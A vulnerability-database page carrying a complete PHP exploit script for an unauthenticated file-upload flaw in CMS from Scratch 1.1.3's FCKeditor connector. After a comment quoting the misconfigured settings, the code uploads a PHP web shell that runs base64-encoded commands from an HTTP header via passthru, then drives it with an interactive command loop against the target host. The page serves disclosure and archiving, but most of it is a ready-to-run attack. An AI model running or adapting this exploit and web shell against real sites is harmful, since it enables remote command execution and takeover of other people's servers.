Lucene search
K

CMS from Scratch <= 1.1.3 (fckeditor) Remote Shell Upload Exploit

🗓️ 31 May 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

CMS from Scratch <= 1.1.3 (fckeditor) Remote Shell Upload Exploit - Vulnerable code in /cms/FCKeditor/editor/filemanager/connectors/php/config.php. It allows remote shell upload and lacks proper user authentication check

Code

                                                &lt;?php

/*
	-----------------------------------------------------------------
	CMS&nbsp;from&nbsp;Scratch&nbsp;&lt;=&nbsp;1.1.3&nbsp;(fckeditor)&nbsp;Remote&nbsp;Shell&nbsp;Upload&nbsp;Exploit
	-----------------------------------------------------------------
	
	author...:&nbsp;EgiX
	mail.....:&nbsp;n0b0d13s[at]gmail[dot]com
	
	link.[1].:&nbsp;http://cmsfromscratch.com/
	link.[2].:&nbsp;http://cmsfromscratch.googlecode.com/files/cmsfs114b.tgz&nbsp;(tested&nbsp;package)

	[-]&nbsp;vulnerable&nbsp;code&nbsp;in&nbsp;/cms/FCKeditor/editor/filemanager/connectors/php/config.php
	
	27.	//&nbsp;SECURITY:&nbsp;You&nbsp;must&nbsp;explicitelly&nbsp;enable&nbsp;this&nbsp;&quot;connector&quot;.&nbsp;(Set&nbsp;it&nbsp;to&nbsp;&quot;true&quot;).
	28.	//&nbsp;WARNING:&nbsp;don't&nbsp;just&nbsp;set&nbsp;&quot;ConfigIsEnabled&nbsp;=&nbsp;true&quot;,&nbsp;you&nbsp;must&nbsp;be&nbsp;sure&nbsp;that&nbsp;only&nbsp;
	29.	//		authenticated&nbsp;users&nbsp;can&nbsp;access&nbsp;this&nbsp;file&nbsp;or&nbsp;use&nbsp;some&nbsp;kind&nbsp;of&nbsp;session&nbsp;checking.
	30.	$Config['Enabled']&nbsp;=&nbsp;true&nbsp;;&nbsp;&lt;======
	31.	
	32.	$path&nbsp;=&nbsp;$_SERVER[&quot;REQUEST_URI&quot;]&nbsp;;
	33.	$relativePathFromWebServerRoot&nbsp;=&nbsp;&nbsp;substr($path,&nbsp;0,&nbsp;strpos($path,&nbsp;&quot;/&quot;,&nbsp;1)&nbsp;);
	34.	//&nbsp;Coming&nbsp;out&nbsp;as&nbsp;/CMS,&nbsp;why???
	35.	
	36.	
	37.	
	38.	//&nbsp;Path&nbsp;to&nbsp;user&nbsp;files&nbsp;relative&nbsp;to&nbsp;the&nbsp;document&nbsp;root.
	39.	//&nbsp;This&nbsp;is&nbsp;what&nbsp;is&nbsp;inserted&nbsp;into&nbsp;the&nbsp;HTML&nbsp;markup
	40.	$Config['UserFilesPath']&nbsp;=&nbsp;urldecode(rtrim(str_replace('cms/FCKeditor/editor/filemanager/connectors/php',&nbsp;'',&nbsp;dirname($_SERVER['SCRIPT_NAME'])),&nbsp;'/'))&nbsp;;
	41.	if&nbsp;($Config['UserFilesPath']&nbsp;==&nbsp;'')&nbsp;$Config['UserFilesPath']&nbsp;=&nbsp;'/'&nbsp;;
	42.	
	43.	//&nbsp;Fill&nbsp;the&nbsp;following&nbsp;value&nbsp;it&nbsp;you&nbsp;prefer&nbsp;to&nbsp;specify&nbsp;the&nbsp;absolute&nbsp;path&nbsp;for&nbsp;the&nbsp;user&nbsp;files&nbsp;directory.&nbsp;Useful&nbsp;if&nbsp;you&nbsp;are&nbsp;using&nbsp;a&nbsp;virtual&nbsp;directory,&nbsp;symbolic&nbsp;link&nbsp;or&nbsp;alias.&nbsp;Examples:&nbsp;'C:\\MySite\\userfiles\\'&nbsp;or&nbsp;'/root/mysite/userfiles/'.
	44.	//&nbsp;Attention:&nbsp;The&nbsp;above&nbsp;'UserFilesPath'&nbsp;must&nbsp;point&nbsp;to&nbsp;the&nbsp;same&nbsp;directory.
	45.	//&nbsp;BH&nbsp;note:&nbsp;This&nbsp;is&nbsp;used&nbsp;for&nbsp;browsing&nbsp;the&nbsp;server..&nbsp;should&nbsp;equate&nbsp;to&nbsp;the&nbsp;real&nbsp;path&nbsp;of&nbsp;the&nbsp;folder&nbsp;where&nbsp;/cms/&nbsp;is&nbsp;installed
	46.	$Config['UserFilesAbsolutePath']&nbsp;=&nbsp;realpath('../../../../../../')&nbsp;;
	47.	
	48.	//&nbsp;Due&nbsp;to&nbsp;security&nbsp;issues&nbsp;with&nbsp;Apache&nbsp;modules,&nbsp;it&nbsp;is&nbsp;reccomended&nbsp;to&nbsp;leave&nbsp;the&nbsp;following&nbsp;setting&nbsp;enabled.
	49.	$Config['ForceSingleExtension']&nbsp;=&nbsp;true&nbsp;;
	50.	//&nbsp;Perform&nbsp;additional&nbsp;checks&nbsp;for&nbsp;image&nbsp;files
	51.	//&nbsp;if&nbsp;set&nbsp;to&nbsp;true,&nbsp;validate&nbsp;image&nbsp;size&nbsp;(using&nbsp;getimagesize)
	52.	$Config['SecureImageUploads']&nbsp;=&nbsp;true;
	53.	//&nbsp;What&nbsp;the&nbsp;user&nbsp;can&nbsp;do&nbsp;with&nbsp;this&nbsp;connector
	54.	$Config['ConfigAllowedCommands']&nbsp;=&nbsp;array('QuickUpload',&nbsp;'FileUpload',&nbsp;'GetFolders',&nbsp;'GetFoldersAndFiles',&nbsp;'CreateFolder')&nbsp;;
	55.	//&nbsp;Allowed&nbsp;Resource&nbsp;Types
	56.	$Config['ConfigAllowedTypes']&nbsp;=&nbsp;array('File',&nbsp;'Image',&nbsp;'Flash',&nbsp;'Media')&nbsp;;
	57.	//&nbsp;For&nbsp;security,&nbsp;HTML&nbsp;is&nbsp;allowed&nbsp;in&nbsp;the&nbsp;first&nbsp;Kb&nbsp;of&nbsp;data&nbsp;for&nbsp;files&nbsp;having&nbsp;the&nbsp;following&nbsp;extensions&nbsp;only.
	58.	$Config['HtmlExtensions']&nbsp;=&nbsp;array(&quot;html&quot;,&nbsp;&quot;htm&quot;,&nbsp;&quot;xml&quot;,&nbsp;&quot;xsd&quot;,&nbsp;&quot;txt&quot;,&nbsp;&quot;js&quot;)&nbsp;;
	59.	
	60.	$Config['AllowedExtensions']['File']	=&nbsp;array('7z',&nbsp;'aiff',&nbsp;'asf',&nbsp;'avi',&nbsp;'bmp',&nbsp;'csv',&nbsp;'doc',&nbsp;'fla',&nbsp;'flv',&nbsp;'gif',&nbsp;'gz',&nbsp;'gzip',&nbsp;'jpeg',&nbsp;'jpg',&nbsp;'mid',&nbsp;'mov',&nbsp;'mp3',&nbsp;'mp4',&nbsp;'mpc',&nbsp;'mpeg',&nbsp;'mpg',&nbsp;'ods',&nbsp;'odt',&nbsp;'pdf',&nbsp;'php',&nbsp;'png',&nbsp;'ppt',&nbsp;'pxd',&nbsp;'qt',&nbsp;'ram',&nbsp;'rar',&nbsp;'rm',&nbsp;'rmi',&nbsp;'rmvb',&nbsp;'rtf',&nbsp;'sdc',&nbsp;'sitd',&nbsp;'swf',&nbsp;'sxc',&nbsp;'sxw',&nbsp;'tar',&nbsp;'tgz',&nbsp;'tif',&nbsp;'tiff',&nbsp;'txt',&nbsp;'vsd',&nbsp;'wav',&nbsp;'wma',&nbsp;'wmv',&nbsp;'xls',&nbsp;'xml',&nbsp;'zip')&nbsp;;
	61.	$Config['DeniedExtensions']['File']		=&nbsp;array()&nbsp;;&nbsp;&lt;========
	62.	$Config['FileTypesPath']['File']		=&nbsp;$Config['UserFilesPath']&nbsp;;
	63.	$Config['FileTypesAbsolutePath']['File']=&nbsp;$Config['UserFilesAbsolutePath']&nbsp;;
	64.	$Config['QuickUploadPath']['File']		=&nbsp;$Config['UserFilesPath']&nbsp;;
	65.	$Config['QuickUploadAbsolutePath']['File']=&nbsp;$Config['UserFilesAbsolutePath']&nbsp;;

	with&nbsp;a&nbsp;default&nbsp;configuration&nbsp;of&nbsp;this&nbsp;script,&nbsp;an&nbsp;attacker&nbsp;might&nbsp;be&nbsp;able&nbsp;to&nbsp;upload&nbsp;arbitrary&nbsp;files&nbsp;containing&nbsp;malicious&nbsp;PHP&nbsp;code&nbsp;due&nbsp;to
	$Config['AllowedExtensions']['File']&nbsp;array,&nbsp;used&nbsp;in&nbsp;IsAllowedExt()&nbsp;function&nbsp;to&nbsp;check&nbsp;the&nbsp;file's&nbsp;extension,&nbsp;contains&nbsp;also&nbsp;.php&nbsp;extension
*/

error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;,&nbsp;5);

function&nbsp;http_send($host,&nbsp;$packet)
{
	$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	while&nbsp;(!$sock)
	{
		print&nbsp;&quot;\n[-]&nbsp;No&nbsp;response&nbsp;from&nbsp;{$host}:80&nbsp;Trying&nbsp;again...&quot;;
		$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	}
	fputs($sock,&nbsp;$packet);
	while&nbsp;(!feof($sock))&nbsp;$resp&nbsp;.=&nbsp;fread($sock,&nbsp;1024);
	fclose($sock);
	return&nbsp;$resp;
}

print&nbsp;&quot;\n+---------------------------------------------------------------+&quot;;
print&nbsp;&quot;\n|&nbsp;CMS&nbsp;from&nbsp;Scratch&nbsp;&lt;=&nbsp;1.1.3&nbsp;Remote&nbsp;Shell&nbsp;Upload&nbsp;Exploit&nbsp;by&nbsp;EgiX&nbsp;|&quot;;
print&nbsp;&quot;\n+---------------------------------------------------------------+\n&quot;;

if&nbsp;($argc&nbsp;&lt;&nbsp;3)
{
	print&nbsp;&quot;\nUsage......:&nbsp;php&nbsp;$argv[0]&nbsp;host&nbsp;path&quot;;
	print&nbsp;&quot;\nExample....:&nbsp;php&nbsp;$argv[0]&nbsp;localhost&nbsp;/&quot;;
	print&nbsp;&quot;\nExample....:&nbsp;php&nbsp;$argv[0]&nbsp;localhost&nbsp;/cms114/\n&quot;;
	die();
}

$host&nbsp;=&nbsp;$argv[1];
$path&nbsp;=&nbsp;$argv[2];

$data&nbsp;&nbsp;=&nbsp;&quot;--12345\r\n&quot;;
$data&nbsp;.=&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;NewFile\&quot;;&nbsp;filename=\&quot;sh.php\&quot;\r\n&quot;;
$data&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;unknown/unknown\r\n\r\n&quot;;
$data&nbsp;.=&nbsp;&quot;&lt;?php&nbsp;\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)}&nbsp;?&gt;\n&quot;;
$data&nbsp;.=&nbsp;&quot;--12345--\r\n&quot;;

$packet&nbsp;&nbsp;=&nbsp;&quot;POST&nbsp;{$path}/cms/FCKeditor/editor/filemanager/connectors/php/upload.php?Type=File&nbsp;HTTP/1.0\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=12345\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
$packet&nbsp;.=&nbsp;$data;

preg_match(&quot;/OnUploadCompleted\((.*),\&quot;(.*)\&quot;,\&quot;(.*)\&quot;,/i&quot;,&nbsp;http_send($host,&nbsp;$packet),&nbsp;$html);

if&nbsp;(!in_array(intval($html[1]),&nbsp;array(0,&nbsp;201)))&nbsp;die(&quot;\n[-]&nbsp;Upload&nbsp;failed!&nbsp;(Error&nbsp;{$html[1]})\n&quot;);
else&nbsp;print&nbsp;&quot;\n[-]&nbsp;Shell&nbsp;uploaded&nbsp;to&nbsp;{$html[2]}...starting&nbsp;it!\n&quot;;

define(STDIN,&nbsp;fopen(&quot;php://stdin&quot;,&nbsp;&quot;r&quot;));

while(1)
{
	print&nbsp;&quot;\ncmsfs-shell#&nbsp;&quot;;
	$cmd&nbsp;=&nbsp;trim(fgets(STDIN));
	if&nbsp;($cmd&nbsp;!=&nbsp;&quot;exit&quot;)
	{
		$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}{$html[3]}&nbsp;HTTP/1.0\r\n&quot;;
		$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
		$packet.=&nbsp;&quot;Cmd:&nbsp;&quot;.base64_encode($cmd).&quot;\r\n&quot;;
		$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
		$output&nbsp;=&nbsp;http_send($host,&nbsp;$packet);
		if&nbsp;(!eregi(&quot;_code_&quot;,&nbsp;$output))&nbsp;die(&quot;\n[-]&nbsp;Exploit&nbsp;failed...\n&quot;);
		$shell&nbsp;=&nbsp;explode(&quot;_code_&quot;,&nbsp;$output);
		print&nbsp;&quot;\n{$shell[1]}&quot;;
	}
	else&nbsp;break;
}

?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation